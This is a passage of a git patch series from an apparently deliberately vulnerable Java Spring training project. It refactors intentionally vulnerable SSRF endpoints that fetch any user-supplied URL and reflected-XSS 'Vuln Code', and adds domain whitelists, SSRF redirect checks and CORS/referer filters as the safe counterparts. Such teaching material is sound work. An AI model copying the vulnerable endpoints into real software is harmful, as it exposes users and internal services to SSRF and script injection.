catch (Exception e) { + logger.error(e.toString()); } } @RequestMapping("/okhttp") @ResponseBody - public static void ssrf_okhttp(HttpServletRequest request) throws IOException { - String url = request.getParameter("url"); + public static void ssrf_okhttp(@RequestParam String url) throws IOException { OkHttpClient client = new OkHttpClient(); com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build(); client.newCall(ok_http).execute(); @@ -180,8 +174,8 @@ public static String ssrf_HttpClient(@RequestParam String url) { try { HttpResponse httpResponse = client.execute(httpGet); // send request BufferedReader rd = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent())); - StringBuffer result = new StringBuffer(); - String line = ""; + StringBuilder result = new StringBuilder(); + String line = null; while ((line = rd.readLine()) != null) { result.append(line); } @@ -236,8 +230,8 @@ public static String commonsHttpClient(@RequestParam String url) { /** * jsoup是一款Java的HTML解析器,可直接解析某个URL地址、HTML文本内容。 - * http://localhost:8080/ssrf/Jsoup?url=http://www.baidu.com * + * http://localhost:8080/ssrf/Jsoup?url=http://www.baidu.com */ @RequestMapping("/Jsoup") @ResponseBody @@ -251,9 +245,11 @@ public static String Jsoup(@RequestParam String url) { .cookie("name", "joychou") // request请求带的cookie .followRedirects(false) .execute().parse(); + logger.info(doc.html()); } catch (MalformedURLException e) { return "exception: " + e.toString(); - } catch (Exception e) { + } catch (IOException e) { + logger.error(e.toString()); return "exception: " + e.toString(); } @@ -271,7 +267,7 @@ public static String Jsoup(@RequestParam String url) { public static String IOUtils(@RequestParam String url) { try { // IOUtils.toByteArray内部用URLConnection进行了封装 - byte[] b = IOUtils.toByteArray(URI.create(url)); + IOUtils.toByteArray(URI.create(url)); } catch (Exception e) { return "exception: " + e.toString(); } diff --git a/src/main/java/org/joychou/controller/XSS.java b/src/main/java/org/joychou/controller/XSS.java index fcd5d7f5..68e89c0c 100644 --- a/src/main/java/org/joychou/controller/XSS.java +++ b/src/main/java/org/joychou/controller/XSS.java @@ -1,35 +1,24 @@ package org.joychou.controller; import org.apache.commons.lang.StringUtils; -import org.joychou.dao.User; -import org.joychou.mapper.UserMapper; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.beans.factory.annotation.Value; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.CookieValue; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; -import javax.annotation.Resource; import javax.servlet.http.Cookie; -import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; -import java.sql.Connection; -import java.sql.DriverManager; -import java.sql.Statement; + /** - * @author JoyChou (joychou@joychou.org) - * @date 2018.01.02 - * @desc XSS vuls code + * @author JoyChou @2018-01-02 */ - @Controller @RequestMapping("/xss") public class XSS { /** - * Vul Code. + * Vuln Code. * ReflectXSS * http://localhost:8080/xss/reflect?xss= * @@ -71,6 +60,7 @@ public String show(@CookieValue("xss") String xss) { return xss; } + /** * safe Code. * http://localhost:8080/xss/safe @@ -82,7 +72,7 @@ public static String safe(String xss){ return encode(xss); } - public static String encode(String origin) { + private static String encode(String origin) { origin = StringUtils.replace(origin, "&", "&"); origin = StringUtils.replace(origin, "<", "<"); origin = StringUtils.replace(origin, ">", ">"); diff --git a/src/main/java/org/joychou/security/SSRFChecker.java b/src/main/java/org/joychou/security/SSRFChecker.java index 08d9053a..bb959a23 100644 --- a/src/main/java/org/joychou/security/SSRFChecker.java +++ b/src/main/java/org/joychou/security/SSRFChecker.java @@ -8,21 +8,24 @@ import org.slf4j.Logger; import org.slf4j.LoggerFactory; -public class SSRFChecker { +class SSRFChecker { - private static int connectTime = 5*1000; // 设置连接超时时间5s private static Logger logger = LoggerFactory.getLogger(SSRFChecker.class); + /** * 解析url的ip,判断ip是否是内网ip,所以TTL设置为0的情况不适用。 * url只允许https或者http,并且设置默认连接超时时间。 * 该修复方案会主动请求重定向后的链接。最好用Hook方式获取到所有url后,进行判断,代码待续… * * @param url check的url + * @param checkTimes 设置重定向检测的最大次数,建议设置为10次 * @return 安全返回true,危险返回false */ - public static Boolean checkSSRF(String url) { + static Boolean checkSSRF(String url, int checkTimes) { HttpURLConnection connection; + int connectTime = 5*1000; // 设置连接超时时间5s + int i = 1; String finalUrl = url; try { do { @@ -45,7 +48,11 @@ public static Boolean checkSSRF(String url) { if (null == redirectedUrl) break; finalUrl = redirectedUrl; - // System.out.println("redirected url: " + finalUrl); + i += 1; // 重定向次数加1 + logger.info("redirected url: " + finalUrl); + if(i == checkTimes) { + return false; + } } else break; } while (connection.getResponseCode() != HttpURLConnection.HTTP_OK); @@ -62,7 +69,7 @@ public static Boolean checkSSRF(String url) { * * @return 如果是内网IP,返回true;非内网IP,返回false。 */ - public static Boolean isInnerIPByUrl(String url) { + static Boolean isInnerIPByUrl(String url) { String host = url2host(url); if (host.equals("")) { return true; // 异常URL当成内网IP等非法URL处理 diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java index 812c905e..bb154dc4 100644 --- a/src/main/java/org/joychou/security/SecurityUtil.java +++ b/src/main/java/org/joychou/security/SecurityUtil.java @@ -91,11 +91,8 @@ public static String checkUrlByGuava(String url, String[] urlwhitelist){ * @return 安全返回true,危险返回false */ public static Boolean checkSSRF(String url) { - if (SSRFChecker.checkSSRF(url)) { - return true; - } else { - return false; - } + int checkTimes = 10; + return SSRFChecker.checkSSRF(url, checkTimes); } @@ -143,7 +140,7 @@ public static String pathFilter(String filepath) { } } - if (temp.indexOf("..") != -1 || temp.charAt(0) == '/') { + if (temp.contains("..") || temp.charAt(0) == '/') { return null; } diff --git a/src/main/java/org/joychou/security/WebSecurityConfig.java b/src/main/java/org/joychou/security/WebSecurityConfig.java index 27a332c3..a9787aac 100644 --- a/src/main/java/org/joychou/security/WebSecurityConfig.java +++ b/src/main/java/org/joychou/security/WebSecurityConfig.java @@ -43,7 +43,7 @@ public class WebSecurityConfig extends WebSecurityConfigurerAdapter { public boolean matches(HttpServletRequest request) { // 配置需要CSRF校验的请求方式, - HashSet allowedMethods = new HashSet(Arrays.asList(csrfMethod)); + HashSet allowedMethods = new HashSet<>(Arrays.asList(csrfMethod)); // return false表示不校验csrf if (!csrfEnabled) { return false; @@ -74,7 +74,8 @@ protected void configure(HttpSecurity http) throws Exception { .successHandler(new LoginSuccessHandler()) .failureHandler(new LoginFailureHandler()).and() .logout().logoutUrl("/logout").permitAll().and() - .rememberMe(); // tomcat默认JSESSION会话有效时间为30分钟,所以30分钟不操作会话将过期。为了解决这一问题,引入rememberMe功能。 + // tomcat默认JSESSION会话有效时间为30分钟,所以30分钟不操作会话将过期。为了解决这一问题,引入rememberMe功能。 + .rememberMe(); } /** @@ -84,7 +85,7 @@ protected void configure(HttpSecurity http) throws Exception { CorsConfigurationSource corsConfigurationSource() { // Set cors origin white list - ArrayList allowOrigins = new ArrayList(); + ArrayList allowOrigins = new ArrayList<>(); allowOrigins.add("joychou.org"); allowOrigins.add("https://test.joychou.me"); // 区分http和https,并且默认不会拦截同域请求。 From fc1be1bbbbcdfefe61783a47330c99c3366d46ab Mon Sep 17 00:00:00 2001 From: JoyChou Date: Fri, 27 Mar 2020 22:28:31 +0800 Subject: [PATCH 11/38] Add bean to parse safedomain --- src/main/java/org/joychou/Application.java | 1 + .../org/joychou/config/CustomCorsConfig.java | 6 +- .../org/joychou/config/SafeDomainConfig.java | 28 ++++++++ .../org/joychou/config/SafeDomainParser.java | 57 +++++++++++++++ .../java/org/joychou/config/WebConfig.java | 10 +++ .../java/org/joychou/controller/Cors.java | 4 +- .../org/joychou/controller/URLRedirect.java | 10 +-- .../org/joychou/controller/jsonp/JSONP.java | 8 +-- .../java/org/joychou/filter/JsonpFilter.java | 5 +- .../java/org/joychou/filter/OriginFilter.java | 4 +- .../java/org/joychou/filter/ReferFilter.java | 2 +- .../joychou/security/CustomCorsProcessor.java | 17 ++--- .../org/joychou/security/SecurityUtil.java | 69 ++++++------------- src/main/resources/url/safe_domain.xml | 7 ++ 14 files changed, 145 insertions(+), 83 deletions(-) create mode 100644 src/main/java/org/joychou/config/SafeDomainConfig.java create mode 100644 src/main/java/org/joychou/config/SafeDomainParser.java create mode 100644 src/main/resources/url/safe_domain.xml diff --git a/src/main/java/org/joychou/Application.java b/src/main/java/org/joychou/Application.java index 41169b9a..0f04b2c8 100644 --- a/src/main/java/org/joychou/Application.java +++ b/src/main/java/org/joychou/Application.java @@ -8,6 +8,7 @@ import org.springframework.cloud.netflix.eureka.EnableEurekaClient; + @ServletComponentScan // do filter @SpringBootApplication // @EnableEurekaClient // 测试Eureka请打开注释,防止控制台一直有warning diff --git a/src/main/java/org/joychou/config/CustomCorsConfig.java b/src/main/java/org/joychou/config/CustomCorsConfig.java index d18a285e..8b80e664 100644 --- a/src/main/java/org/joychou/config/CustomCorsConfig.java +++ b/src/main/java/org/joychou/config/CustomCorsConfig.java @@ -20,10 +20,10 @@ public WebMvcConfigurer corsConfigurer() { return new WebMvcConfigurerAdapter() { @Override public void addCorsMappings(CorsRegistry registry) { - // 支持一级域名,因为重写了checkOrigin - String[] allowOrigins = {"joychou.org", "http://test.joychou.me"}; + // 为了支持一级域名,重写了checkOrigin + //String[] allowOrigins = {"joychou.org", "http://test.joychou.me"}; registry.addMapping("/cors/sec/webMvcConfigurer") // /**表示所有路由path - .allowedOrigins(allowOrigins) + //.allowedOrigins(allowOrigins) .allowedMethods("GET", "POST") .allowCredentials(true); } diff --git a/src/main/java/org/joychou/config/SafeDomainConfig.java b/src/main/java/org/joychou/config/SafeDomainConfig.java new file mode 100644 index 00000000..d0fb91a7 --- /dev/null +++ b/src/main/java/org/joychou/config/SafeDomainConfig.java @@ -0,0 +1,28 @@ +package org.joychou.config; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + + +/** + * 为了不要每次调用都解析safedomain的xml,所以将解析动作放在bean里。 + */ +@Configuration +public class SafeDomainConfig { + + private static final Logger LOGGER = LoggerFactory.getLogger(SafeDomainConfig.class); + + @Bean + public SafeDomainParser safeDomainParser() { + try { + LOGGER.info("SafeDomainParser bean inject successfully!!!"); + return new SafeDomainParser(); + } catch (Exception e) { + LOGGER.error("SafeDomainParser is null " + e.getMessage(), e); + } + return null; + } + +} diff --git a/src/main/java/org/joychou/config/SafeDomainParser.java b/src/main/java/org/joychou/config/SafeDomainParser.java new file mode 100644 index 00000000..8c21e598 --- /dev/null +++ b/src/main/java/org/joychou/config/SafeDomainParser.java @@ -0,0 +1,57 @@ +package org.joychou.config; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.core.io.ClassPathResource; +import org.w3c.dom.Document; +import org.w3c.dom.Node; +import org.w3c.dom.NodeList; + +import javax.xml.parsers.DocumentBuilder; +import javax.xml.parsers.DocumentBuilderFactory; +import java.io.File; +import java.util.ArrayList; + +public class SafeDomainParser { + + private static Logger logger= LoggerFactory.getLogger(SafeDomainParser.class); + + public SafeDomainParser(){ + + String safeTag = "safedomain"; + String domainSafeTag = "domain"; + String safeDomainClassPath = "url" + File.separator + "safe_domain.xml"; + ArrayList safeDomains = new ArrayList<>(); + + try { + // 读取resources目录下的文件 + ClassPathResource resource = new ClassPathResource(safeDomainClassPath); + File file = resource.getFile(); + + DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); + DocumentBuilder db = dbf.newDocumentBuilder(); + Document doc = db.parse(file); // parse xml + + NodeList rootNode = doc.getElementsByTagName(safeTag); + Node domainsNode = rootNode.item(0); + NodeList child = domainsNode.getChildNodes(); + + for (int i = 0; i < child.getLength(); i++){ + Node node = child.item(i); + if (node.getNodeName().equals(domainSafeTag)) { + safeDomains.add(node.getTextContent()); + } + } + + }catch (Exception e){ + logger.error(e.toString()); + } + + WebConfig wc = new WebConfig(); + wc.setSafeDomains(safeDomains); + } +} + + + + diff --git a/src/main/java/org/joychou/config/WebConfig.java b/src/main/java/org/joychou/config/WebConfig.java index 96d7f0f5..7eb3290a 100644 --- a/src/main/java/org/joychou/config/WebConfig.java +++ b/src/main/java/org/joychou/config/WebConfig.java @@ -3,6 +3,8 @@ import org.springframework.beans.factory.annotation.Value; import org.springframework.stereotype.Component; +import java.util.ArrayList; + /** * Solve can't get value in filter by @Value when not using embed tomcat. @@ -19,6 +21,7 @@ public class WebConfig { private static String[] referUris; private static Boolean referSecEnabled = false; private static String businessCallback; + private static ArrayList safeDomains= new ArrayList<>(); /** * application.properties里object自动转jsonp的referer校验开关 @@ -91,4 +94,11 @@ public static String getBusinessCallback(){ return businessCallback; } + + public void setSafeDomains(ArrayList safeDomains){ + WebConfig.safeDomains = safeDomains; + } + public static ArrayList getSafeDomains(){ + return safeDomains; + } } \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/Cors.java b/src/main/java/org/joychou/controller/Cors.java index adb069a9..3537ecf8 100644 --- a/src/main/java/org/joychou/controller/Cors.java +++ b/src/main/java/org/joychou/controller/Cors.java @@ -20,8 +20,6 @@ public class Cors { private static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}"; - private static String[] urlwhitelist = {"joychou.org", "joychou.me"}; - @RequestMapping("/vuln/origin") public static String vuls1(HttpServletRequest request, HttpServletResponse response) { @@ -108,7 +106,7 @@ public String seccode(HttpServletRequest request, HttpServletResponse response) // 如果origin不为空并且origin不在白名单内,认定为不安全。 // 如果origin为空,表示是同域过来的请求或者浏览器直接发起的请求。 - if ( origin != null && SecurityUtil.checkURLbyEndsWith(origin, urlwhitelist) == null ) { + if ( origin != null && SecurityUtil.checkURL(origin) == null ) { return "Origin is not safe."; } response.setHeader("Access-Control-Allow-Origin", origin); diff --git a/src/main/java/org/joychou/controller/URLRedirect.java b/src/main/java/org/joychou/controller/URLRedirect.java index dfd220f2..d2b3b484 100644 --- a/src/main/java/org/joychou/controller/URLRedirect.java +++ b/src/main/java/org/joychou/controller/URLRedirect.java @@ -75,14 +75,14 @@ public static void forward(HttpServletRequest request, HttpServletResponse respo /** * Safe code of sendRedirect. - * http://localhost:8080/urlRedirect/sendRedirect_seccode?url=http://www.baidu.com + * http://localhost:8080/urlRedirect/sendRedirect/sec?url=http://www.baidu.com */ - @RequestMapping("/sendRedirect_seccode") + @RequestMapping("/sendRedirect/sec") @ResponseBody - public static void sendRedirect_seccode(HttpServletRequest request, HttpServletResponse response) throws IOException{ + public void sendRedirect_seccode(HttpServletRequest request, HttpServletResponse response) + throws IOException{ String url = request.getParameter("url"); - String urlwhitelist[] = {"joychou.org", "joychou.com"}; - if (SecurityUtil.checkURLbyEndsWith(url, urlwhitelist) == null) { + if (SecurityUtil.checkURL(url) == null) { // Redirect to error page. response.sendRedirect("https://test.joychou.org/error3.html"); return; diff --git a/src/main/java/org/joychou/controller/jsonp/JSONP.java b/src/main/java/org/joychou/controller/jsonp/JSONP.java index da2474fa..e2dfc8eb 100644 --- a/src/main/java/org/joychou/controller/jsonp/JSONP.java +++ b/src/main/java/org/joychou/controller/jsonp/JSONP.java @@ -24,13 +24,11 @@ * https://github.com/JoyChou93/java-sec-code/wiki/JSONP */ - @RestController @RequestMapping("/jsonp") public class JSONP { - private static String[] urlwhitelist = {"joychou.com", "joychou.org"}; - private static String callback = WebConfig.getBusinessCallback(); + private String callback = WebConfig.getBusinessCallback(); // get current login username public static String getUserInfo2JsonStr(HttpServletRequest request) { @@ -65,7 +63,7 @@ public String referer(HttpServletRequest request) { public String emptyReferer(HttpServletRequest request) { String referer = request.getHeader("referer"); - if (null != referer && SecurityUtil.checkURLbyEndsWith(referer, urlwhitelist) == null) { + if (null != referer && SecurityUtil.checkURL(referer) == null) { return "error"; } String callback = request.getParameter(this.callback); @@ -110,7 +108,7 @@ public ModelAndView mappingJackson2JsonView(HttpServletRequest req) { public String safecode(HttpServletRequest request) { String referer = request.getHeader("referer"); - if (SecurityUtil.checkURLbyEndsWith(referer, urlwhitelist) == null) { + if (SecurityUtil.checkURL(referer) == null) { return "error"; } String callback = request.getParameter(this.callback); diff --git a/src/main/java/org/joychou/filter/JsonpFilter.java b/src/main/java/org/joychou/filter/JsonpFilter.java index 5027caac..7c16d9d2 100644 --- a/src/main/java/org/joychou/filter/JsonpFilter.java +++ b/src/main/java/org/joychou/filter/JsonpFilter.java @@ -39,7 +39,6 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter HttpServletResponse response = (HttpServletResponse) res; String refer = request.getHeader("referer"); - String[] jsonpReferWhitelist = WebConfig.getJsonpReferWhitelist(); StringBuffer url = request.getRequestURL(); String query = request.getQueryString(); @@ -50,7 +49,7 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter } // 校验jsonp逻辑,如果不安全,返回forbidden - if (SecurityUtil.checkUrlByGuava(refer, jsonpReferWhitelist) == null ){ + if (SecurityUtil.checkURL(refer) == null ){ logger.error("[-] URL: " + url + "?" + query + "\t" + "Referer: " + refer); response.setStatus(HttpServletResponse.SC_FORBIDDEN); response.getWriter().write("forbidden"); @@ -87,7 +86,7 @@ private boolean check(HttpServletRequest req) { break; } } - if (StringUtils.isBlank(reqCallback)){ + if(StringUtils.isBlank(reqCallback)){ return false; } diff --git a/src/main/java/org/joychou/filter/OriginFilter.java b/src/main/java/org/joychou/filter/OriginFilter.java index 0c40c25f..4e2e9716 100644 --- a/src/main/java/org/joychou/filter/OriginFilter.java +++ b/src/main/java/org/joychou/filter/OriginFilter.java @@ -20,8 +20,6 @@ @WebFilter(filterName = "OriginFilter", urlPatterns = "/cors/sec/originFilter") public class OriginFilter implements Filter { - private static String[] urlwhitelist = {"joychou.org", "joychou.me"}; - @Override public void init(FilterConfig filterConfig) throws ServletException { @@ -40,7 +38,7 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter logger.info("[+] Origin: " + origin + "\tCurrent url:" + request.getRequestURL()); // 以file协议访问html,origin为字符串的null,所以依然会走安全check逻辑 - if ( origin != null && SecurityUtil.checkURLbyEndsWith(origin, urlwhitelist) == null) { + if ( origin != null && SecurityUtil.checkURL(origin) == null) { logger.error("[-] Origin check error. " + "Origin: " + origin + "\tCurrent url:" + request.getRequestURL()); response.setStatus(response.SC_FORBIDDEN); diff --git a/src/main/java/org/joychou/filter/ReferFilter.java b/src/main/java/org/joychou/filter/ReferFilter.java index 14f1a618..f8803181 100644 --- a/src/main/java/org/joychou/filter/ReferFilter.java +++ b/src/main/java/org/joychou/filter/ReferFilter.java @@ -64,7 +64,7 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter String reqCallback = request.getParameter(WebConfig.getBusinessCallback()); if ("GET".equals(request.getMethod()) && StringUtils.isNotBlank(reqCallback) ){ // If the check of referer fails, a 403 forbidden error page will be returned. - if (SecurityUtil.checkURLbyEndsWith(refer, WebConfig.getReferWhitelist()) == null ){ + if (SecurityUtil.checkURL(refer) == null ){ logger.info("[-] URL: " + request.getRequestURL() + "?" + request.getQueryString() + "\t" + "Referer: " + refer); response.setStatus(HttpServletResponse.SC_FORBIDDEN); diff --git a/src/main/java/org/joychou/security/CustomCorsProcessor.java b/src/main/java/org/joychou/security/CustomCorsProcessor.java index 45e0451a..cbbad17a 100644 --- a/src/main/java/org/joychou/security/CustomCorsProcessor.java +++ b/src/main/java/org/joychou/security/CustomCorsProcessor.java @@ -29,26 +29,21 @@ protected String checkOrigin(CorsConfiguration config, String requestOrigin) { if (result != null) { return result; } - - List allowedOrigins = config.getAllowedOrigins(); - if (StringUtils.isBlank(requestOrigin) - || CollectionUtils.isEmpty(allowedOrigins)) { + // List allowedOrigins = config.getAllowedOrigins(); + if (StringUtils.isBlank(requestOrigin)) { return null; } - return customCheckOrigin(allowedOrigins, requestOrigin); + return customCheckOrigin(requestOrigin); } /** - * 用host的endsWith来校验requestOrigin + * 校验requestOrigin */ - private String customCheckOrigin(List allowedOrigins, String requestOrigin) { - - // list转String[] - String[] arrayAllowOrigins = allowedOrigins.toArray(new String[allowedOrigins.size()]); + private String customCheckOrigin(String requestOrigin) { - if ( SecurityUtil.checkURLbyEndsWith(requestOrigin, arrayAllowOrigins) != null) { + if ( SecurityUtil.checkURL(requestOrigin) != null) { logger.info("[+] Origin: " + requestOrigin ); return requestOrigin; } diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java index bb154dc4..aca374da 100644 --- a/src/main/java/org/joychou/security/SecurityUtil.java +++ b/src/main/java/org/joychou/security/SecurityUtil.java @@ -1,79 +1,51 @@ package org.joychou.security; -import com.google.common.net.InternetDomainName; +import org.joychou.config.WebConfig; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import java.io.UnsupportedEncodingException; import java.net.URI; import java.net.URLDecoder; +import java.util.ArrayList; import java.util.regex.Pattern; + public class SecurityUtil { private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$") ; private static Logger logger = LoggerFactory.getLogger(SecurityUtil.class); - /** - * 通过endsWith判断URL是否合法 + * 同时支持一级域名和多级域名,相关配置在resources目录下url/safe_domain.xml文件 * - * @param url 需要check的url - * @param urlwhitelist url白名单list - * @return 安全url返回url,危险url返回null + * @param url the url need to check + * @return Safe url returns original url; Illegal url returns null; */ - public static String checkURLbyEndsWith(String url, String[] urlwhitelist) { - if (null == url) { + public static String checkURL(String url) { + + if (null == url){ return null; } + + ArrayList safeDomains = WebConfig.getSafeDomains(); try { URI uri = new URI(url); - - if (!url.startsWith("http://") && !url.startsWith("https://")) { - return null; - } - String host = uri.getHost().toLowerCase(); - for (String whitelist: urlwhitelist){ - if (host.endsWith("." + whitelist)) { - return url; - } - } - - return null; - } catch (Exception e) { - logger.error(e.toString()); - return null; - } - } - - /** - * 通过google guava判断URL是否合法。默认认为localhost合法 - * - * @param url 需要check的url - * @param urlwhitelist 根域名白名单 - * @return 安全url返回url,危险url返回null - */ - public static String checkUrlByGuava(String url, String[] urlwhitelist){ - final String localhost = "localhost"; - if (null == url) { - return null; - } - - try { - URI u = new URI(url); + // 必须http/https if (!url.startsWith("http://") && !url.startsWith("https://")) { return null; } - String host = u.getHost().toLowerCase(); - if (localhost.equals(host)) { + + // 支持多级域名 + if (safeDomains.contains(host)){ return url; } - String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString(); - for (String whiteurl: urlwhitelist){ - if (rootDomain.equals(whiteurl)) { + // 支持一级域名 + for(String safedomain: safeDomains) { + if(host.endsWith("." + safedomain)) { return url; } } @@ -114,8 +86,8 @@ public static boolean checkSSRFWithoutRedirect(String url) { * @param hostWlist host whitelist * @return Safe url returns url. Dangerous url returns null. */ - public static String checkSSRFByHostWlist(String url, String[] hostWlist) { - return checkURLbyEndsWith(url, hostWlist); + public static String checkSSRFByHost(String url) { + return checkURL(url); } /** @@ -199,7 +171,6 @@ else if(ch == '/' || ch == '.' || ch == '-'){ } public static void main(String[] args) { - System.out.print(replaceSpecialStr("text/ html&(&(asdf")); } } \ No newline at end of file diff --git a/src/main/resources/url/safe_domain.xml b/src/main/resources/url/safe_domain.xml new file mode 100644 index 00000000..a403a675 --- /dev/null +++ b/src/main/resources/url/safe_domain.xml @@ -0,0 +1,7 @@ + + + + + joychou.com + test.joychou.org + From 89cb9d8b52204261a009e1257a96d3f070c51cf0 Mon Sep 17 00:00:00 2001 From: JoyChou Date: Tue, 31 Mar 2020 17:52:06 +0800 Subject: [PATCH 12/38] fix #13 --- .../org/joychou/config/SafeDomainConfig.java | 5 +- .../org/joychou/config/SafeDomainParser.java | 98 +++++++++++++++-- .../java/org/joychou/config/WebConfig.java | 54 +++++++--- .../org/joychou/controller/GetRequestURI.java | 50 +++++++++ .../java/org/joychou/controller/SSRF.java | 4 +- .../joychou/controller/jsonp/JSONPAdvice.java | 89 ++++++++++++++- .../java/org/joychou/filter/JsonpFilter.java | 101 ------------------ .../java/org/joychou/filter/ReferFilter.java | 1 + .../joychou/interceptor/JsonpInterceptor.java | 40 +++++++ .../org/joychou/security/SSRFChecker.java | 41 ++++++- .../org/joychou/security/SecurityUtil.java | 61 ++++++++--- .../joychou/security/WebSecurityConfig.java | 3 +- src/main/resources/application.properties | 1 - src/main/resources/banner.txt | 6 ++ src/main/resources/url/safe_domain.xml | 7 -- src/main/resources/url/ssrf_safe_domain.xml | 22 ++++ src/main/resources/url/url_safe_domain.xml | 18 ++++ 17 files changed, 439 insertions(+), 162 deletions(-) create mode 100644 src/main/java/org/joychou/controller/GetRequestURI.java delete mode 100644 src/main/java/org/joychou/filter/JsonpFilter.java create mode 100644 src/main/java/org/joychou/interceptor/JsonpInterceptor.java create mode 100644 src/main/resources/banner.txt delete mode 100644 src/main/resources/url/safe_domain.xml create mode 100644 src/main/resources/url/ssrf_safe_domain.xml create mode 100644 src/main/resources/url/url_safe_domain.xml diff --git a/src/main/java/org/joychou/config/SafeDomainConfig.java b/src/main/java/org/joychou/config/SafeDomainConfig.java index d0fb91a7..de2d0bd7 100644 --- a/src/main/java/org/joychou/config/SafeDomainConfig.java +++ b/src/main/java/org/joychou/config/SafeDomainConfig.java @@ -7,14 +7,14 @@ /** - * 为了不要每次调用都解析safedomain的xml,所以将解析动作放在bean里。 + * 为了不要每次调用都解析safedomain的xml,所以将解析动作放在Bean里。 */ @Configuration public class SafeDomainConfig { private static final Logger LOGGER = LoggerFactory.getLogger(SafeDomainConfig.class); - @Bean + @Bean // @Bean代表将safeDomainParserf方法返回的对象装配到SpringIOC容器中 public SafeDomainParser safeDomainParser() { try { LOGGER.info("SafeDomainParser bean inject successfully!!!"); @@ -26,3 +26,4 @@ public SafeDomainParser safeDomainParser() { } } + diff --git a/src/main/java/org/joychou/config/SafeDomainParser.java b/src/main/java/org/joychou/config/SafeDomainParser.java index 8c21e598..82859444 100644 --- a/src/main/java/org/joychou/config/SafeDomainParser.java +++ b/src/main/java/org/joychou/config/SafeDomainParser.java @@ -18,10 +18,13 @@ public class SafeDomainParser { public SafeDomainParser(){ - String safeTag = "safedomain"; - String domainSafeTag = "domain"; - String safeDomainClassPath = "url" + File.separator + "safe_domain.xml"; + String rootTag = "domains"; + String safeDomainTag = "safedomains"; + String blockDomainTag = "blockdomains"; + String finalTag = "domain"; + String safeDomainClassPath = "url" + File.separator + "url_safe_domain.xml"; ArrayList safeDomains = new ArrayList<>(); + ArrayList blockDomains = new ArrayList<>(); try { // 读取resources目录下的文件 @@ -32,23 +35,104 @@ public SafeDomainParser(){ DocumentBuilder db = dbf.newDocumentBuilder(); Document doc = db.parse(file); // parse xml - NodeList rootNode = doc.getElementsByTagName(safeTag); + NodeList rootNode = doc.getElementsByTagName(rootTag); // 解析根节点domains Node domainsNode = rootNode.item(0); NodeList child = domainsNode.getChildNodes(); for (int i = 0; i < child.getLength(); i++){ Node node = child.item(i); - if (node.getNodeName().equals(domainSafeTag)) { - safeDomains.add(node.getTextContent()); + // 解析safeDomains节点 + if (node.getNodeName().equals(safeDomainTag)) { + NodeList tagChild = node.getChildNodes(); + for (int j = 0; j < tagChild.getLength(); j++) { + Node finalTagNode = tagChild.item(j); + // 解析safeDomains节点里的domain节点 + if (finalTagNode.getNodeName().equals(finalTag)) { + safeDomains.add(finalTagNode.getTextContent()); + } + } + }else if (node.getNodeName().equals(blockDomainTag)) { + NodeList finalTagNode = node.getChildNodes(); + for (int j = 0; j < finalTagNode.getLength(); j++) { + Node tagNode = finalTagNode.item(j); + // 解析blockDomains节点里的domain节点 + if (tagNode.getNodeName().equals(finalTag)) { + blockDomains.add(tagNode.getTextContent()); + } + } } } - }catch (Exception e){ logger.error(e.toString()); } WebConfig wc = new WebConfig(); wc.setSafeDomains(safeDomains); + wc.setBlockDomains(blockDomains); + + // 解析SSRF配置 + String ssrfRootTag = "ssrfsafeconfig"; + String ssrfSafeDomainTag = "safedomains"; + String ssrfBlockDomainTag = "blockdomains"; + String ssrfBlockIpsTag = "blockips"; + String ssrfFinalTag = "domain"; + String ssrfIpFinalTag = "ip"; + String ssrfSafeDomainClassPath = "url" + File.separator + "ssrf_safe_domain.xml"; + + ArrayList ssrfSafeDomains = new ArrayList<>(); + ArrayList ssrfBlockDomains = new ArrayList<>(); + ArrayList ssrfBlockIps = new ArrayList<>(); + + try { + // 读取resources目录下的文件 + ClassPathResource resource = new ClassPathResource(ssrfSafeDomainClassPath); + File file = resource.getFile(); + + DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); + DocumentBuilder db = dbf.newDocumentBuilder(); + Document doc = db.parse(file); // parse xml + + NodeList rootNode = doc.getElementsByTagName(ssrfRootTag); // 解析根节点 + Node domainsNode = rootNode.item(0); + NodeList child = domainsNode.getChildNodes(); + + for (int i = 0; i < child.getLength(); i++){ + Node node = child.item(i); + // 解析safeDomains节点 + if (node.getNodeName().equals(ssrfSafeDomainTag)) { + NodeList tagChild = node.getChildNodes(); + for (int j = 0; j < tagChild.getLength(); j++) { + Node tagFinalNode = tagChild.item(j); + if (tagFinalNode.getNodeName().equals(ssrfFinalTag)) { + ssrfSafeDomains.add(tagFinalNode.getTextContent()); + } + } + }else if (node.getNodeName().equals(ssrfBlockDomainTag)) { + NodeList tagChild = node.getChildNodes(); + for (int j = 0; j < tagChild.getLength(); j++) { + Node tagFinalNode = tagChild.item(j); + if (tagFinalNode.getNodeName().equals(ssrfFinalTag)) { + ssrfBlockDomains.add(tagFinalNode.getTextContent()); + } + } + }else if(node.getNodeName().equals(ssrfBlockIpsTag)){ + NodeList tagChild = node.getChildNodes(); + for (int j = 0; j < tagChild.getLength(); j++) { + Node tagFinalNode = tagChild.item(j); + // 解析 blockIps 节点里的 ip 节点 + if (tagFinalNode.getNodeName().equals(ssrfIpFinalTag)) { + ssrfBlockIps.add(tagFinalNode.getTextContent()); + } + } + } + } + }catch (Exception e){ + logger.error(e.toString()); + } + + 